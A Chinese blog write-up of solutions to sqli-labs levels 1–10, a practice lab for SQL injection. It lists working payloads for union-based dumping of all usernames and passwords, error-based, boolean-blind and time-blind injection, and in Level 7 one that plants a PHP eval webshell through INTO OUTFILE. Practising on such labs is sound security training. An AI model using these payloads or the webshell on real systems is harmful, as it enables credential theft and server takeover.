sqli-labs解题大法1~10

有时在URL注入时,#不能起到注释作用,这时可以用 - - + 来进行注释。

Less-1:
首先,输入/?id=1,发现页面正常。页面正常输入/?id=1'页面错误,在 ' 后面加上 --+ 注释之后页面正常,说明sql语句为id='$id',为单引号闭合的字符型注入现在可以利用单引号闭合与 --+ 注释来进行注入。
利用order by 进行排序来获得字段数,发现/?id=1' order by 3--+页面正常,
/?id=1' order by 4--+页面报错,在这里插入图片描述所以有三个字段。利用union联合查询,输入一个不存在的id,(例如id=0,8,555555),
/?id=0' union select 1,2,3--+发现有2,3两个页面显示位,在这里插入图片描述先用/?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+,在your login name后显示出所有数据库名,在这里插入图片描述select database()查询出数据在security数据库中,在这里插入图片描述select group_concat(table_name) from information_schema.tables where table_schema='security'查询出security数据库中所有的数据表名,在这里插入图片描述select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'查询security数据库中的users数据表中的字段名,在这里插入图片描述再用/?id=0' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+就可以查询出这个数据表里所有的用户名和密码了。在这里插入图片描述
Less-2:
首先,输入/?id=1,发现页面正常。输入/?id=1'页面错误,输入/?id=1'--+ 页面错误,输入/?id=1')--+ 页面错误,说明sql语句可能为数字型注入,所以可以直接写 --+ 注释来进行注入。之后可以用order by和联合查询,具体过程参考Less-1。

Less-3:
首先,输入/?id=1,发现页面正常。输入/?id=1'--+页面错误,输入/?id=1')--+ 页面正常,说明为 ‘)闭合,所以可以用 ’)--+注释来进行注入。之后可以用order by和联合查询,具体过程参考Less-1。

Less-4:
首先,输入/?id=1,发现页面正常。输入/?id=1')--+ 页面正常,用order by 排序,页面无任何变化,改为/?id=1“--+页面有变化,说明为 ”)闭合,所以可以用 “)--+注释来进行注入。之后可以用order by和联合查询,具体过程参考Less-1。
注意: 本题源代码sql语句中虽然是$id=($id) ,但是上面有个$id=' " '.$id.' " ';
这个意思是:把$id变成"$id",所以sql语句中的实质是$id=("$id")

Less-5:
首先输入?id=5,页面正常,然后用联合查询,页面无变化,说明没有显示位无法利用联合查询,在这里插入图片描述输入?id=5'页面出现报错提示,这时可以用报错查询。在这里插入图片描述
(1).报错查询公式:AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((payload),FLOOR (RAND(0)*2))X FROM INFORMATION_SCHEMA.TABLES GROUP BY X)A)
(2).其中payload为想要使用的sql语句,该语句最多输出64个字符。
(3).在输出信息之后页面会额外输出一个1,这个1是floor报错语句中输出的一部分(无论输出什么结果,都会有这个1)。
(4).有时子句中的输出超过了64个字符这是因为使用了group_concat()函数,group_concat()函数会将返回信息拼接成一行显示,所以可以用limit来限制输出。
(5).之后在子句中就可以使用联合查询了,详细过程参考Less-1。

Less-6:
本关与Less-5的不同之出在于使用了双引号 " 闭合,其余具体过程参考Less-5。

Less-7:
向其中写入一句话木马,然后使用菜刀连接就行了。
payload:?id=1’))UNION SELECT 1,2,’<?php @eval($_post["password"]);?>’ into outfile “c:\wamp\www\sqllib\Less-7\index.php”–+

Less-8:
(1)首先用不同的方式进行闭合,发现是单引号闭合,然后利用mid(database(),1,1)函数,通过改变第一个1来查询出数据库的拼写字母,最后得出数据库名。
(2)用?id=8' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1)1,1))=114--+查询出第一个数据库的第一个数据表的首字母,最后查询出数据表的名字。之后继续用布尔盲注就可以查询出数据了。

Less-9:
根据题目信息,可以知道是基于单引号闭合的时间盲注,
?id=10" and if(ascii(substr(database(),1,1))>110,sleep(10),1)--+

Less-10:
基于双引号的时间盲注,
?id=10" and if(ascii(substr(database(),1,1))>110,sleep(10),1)--+字母大家可以自己测试。

  • 2
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值